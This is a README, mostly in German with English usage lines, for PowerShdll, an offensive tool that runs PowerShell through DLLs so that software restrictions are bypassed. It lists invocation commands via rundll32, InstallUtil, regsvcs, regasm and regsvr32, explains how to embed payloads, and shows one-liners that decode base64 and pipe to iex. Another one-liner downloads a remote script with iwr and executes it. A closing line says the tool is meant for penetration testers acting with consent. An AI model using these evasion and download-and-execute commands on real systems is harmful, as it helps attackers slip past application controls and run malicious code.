
PowerShell mit rundll32 ausführen. Softwareeinschränkungen umgehen.
Führen Sie PowerShell nur mit DLLs aus.
Benötigt keinen Zugriff auf powershell.exe, da es PowerShell-Automatisierungs-DLLs verwendet.
PowerShdll kann mit folgenden Programmen ausgeführt werden: rundll32.exe, installutil.exe, regsvcs.exe, regasm.exe, regsvr32.exe oder als eigenständige ausführbare Datei.
Usage:
rundll32 PowerShdll,main <script>
rundll32 PowerShdll,main -h Display this message
rundll32 PowerShdll,main -f <path> Run the script passed as argument
rundll32 PowerShdll,main -w Start an interactive console in a new window (Default)
rundll32 PowerShdll,main -i Start an interactive console in this console
If you do not have an interractive console, use -n to avoid crashes on output
Wenn Sie keine interaktive Konsole haben, verwenden Sie -n, um Abstürze bei der Ausgabe zu vermeiden.
1.
x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll
x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll
2.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShdll.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShdll.dll
3.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShdll.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShdll.dll
4.
regsvr32 /s /u PowerShdll.dll -->Calls DllUnregisterServer
regsvr32 /s PowerShdll.dll --> Calls DllRegisterServer
Usage:
PowerShdll.exe <script>
PowerShdll.exe -h Display this message
PowerShdll.exe -f <path> Run the script passed as argument
PowerShdll.exe -i Start an interactive console in this console (Default)
Payloads können eingebettet werden, indem die Variable "payload" in der Start-Methode der Datei common.cs geändert wird. Wenn ein Payload eingebettet ist, werden alle anderen Argumente ignoriert und der Payload wird beim Ausführen von PowerShdll ausgeführt.
rundll32 Powershdll.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
Hinweis: Empire-Stager müssen mit [System.Text.Encoding]::Unicode dekodiert werden.
rundll32 PowerShdll.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;
Einige Fehler werden offenbar nicht in der Ausgabe angezeigt. Dies kann verwirrend sein, da Befehle wie Import-Module bei Fehlschlag keine Fehlermeldung ausgeben. Stellen Sie sicher, dass Sie Ihre Befehle korrekt eingegeben haben.
Im DLL-Modus sind der interaktive Modus und die Befehlsausgabe vom Hijacking der Konsole des übergeordneten Prozesses abhängig. Wenn der übergeordnete Prozess keine Konsole besitzt, verwenden Sie den Schalter -n, um keine Ausgabe anzuzeigen, da die Anwendung sonst abstürzt.
Aufgrund der Art und Weise, wie Rundll32 Argumente verarbeitet, kann die Verwendung mehrerer Leerzeichen zwischen Schaltern und Argumenten zu Problemen führen. Mehrere Leerzeichen innerhalb der Skripte sind in Ordnung.
Dieses Projekt ist für Sicherheitsforscher und Penetrationstester gedacht und sollte nur mit Zustimmung der Systembesitzer verwendet werden.